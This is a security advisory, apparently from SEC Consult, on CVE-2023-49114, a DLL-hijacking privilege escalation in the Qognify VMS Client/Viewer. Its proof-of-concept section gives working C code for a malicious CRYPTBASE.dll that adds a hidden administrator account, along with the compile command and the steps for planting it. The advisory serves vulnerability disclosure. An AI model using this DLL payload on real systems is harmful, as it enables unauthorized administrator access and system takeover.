Local Privilege Escalation via DLL Hijacking in Qognify VMS Client Viewer

Vendor description

"Qognify, part of Hexagon, helps customers minimize the impact of security, safety and operational incidents. Qognify’s comprehensive portfolio of video management software and enterprise incident management solutions serve thousands of  customers around the world in manufacturing, transportation, retail, education, finance, logistics, corrections, critical infrastructure and government."

Source: https://www.qognify.com/about-us/

Business recommendation

The vendor provides a hardening guide for their customers which should be implemented to ensure that no DLLs can be preloaded.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description

1) Local Privilege Escalation via DLL Hijacking (CVE-2023-49114)

The Qognify VMS Client/Viewer application (VMS_Client.exe) is vulnerable to DLL Hijacking. The application tries to load multiple DLL files from the DLL search order without success. At least one of the missing DLL files can be hijacked. This might allow malicious actors with low privileges on a Windows system to escalate privileges if some specific pre-conditions are met:

1. The attacker can drop a DLL file in a folder within the DLL search order (This circumstance is based on a configuration issue in the Windows file system permissions and is beyond the attacker's control.).
2. A high privileged user starts the VMS_Client.exe FAT client application.

Proof of concept

1) Local Privilege Escalation via DLL Hijacking (CVE-2023-49114)

For successful exploitation, the attacker needs write-access to one of the following directories in the DLL search order:

1. The directory from which the application loaded
2. The system directory
3. The 16-bit system directory
4. The Windows directory
5. The current working directory (CWD)
6. The directories that are listed in the PATH environment variable

The attacker can use the following malicious C-code to create a POC exploit:

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe /C net user secconsult P@ssW0rd1sSup3rS6curE /add /Y");
        system("cmd.exe /C net localgroup administrators secconsult /add");
        ExitProcess(0);
    }
    return TRUE;
}   

The following command can be used to compile the code and create the DLL file:

x86_64-w64-mingw32-gcc CRYPTBASE.c -shared -o CRYPTBASE.dll

Next, the CRYPTBASE.dll file has to be dropped into one of the previously mentioned folders of the DLL search order. If a user with local administrative permissions starts the VMS Client/Viewer FAT client application, CRYPTBASE.dll gets loaded and the malicious code gets executed with high privileges. In this POC, the user 'secconsult' is created and added to the group of local administrators. By following this approach, the attacker is able to escalate privileges.

Vulnerable / tested versions

The following version has been tested which was the latest version available at the time of the test:

• 7.2

According to the vendor, all versions starting from 7.1 are affected. Users should implement the hardening guide.

Vendor contact timeline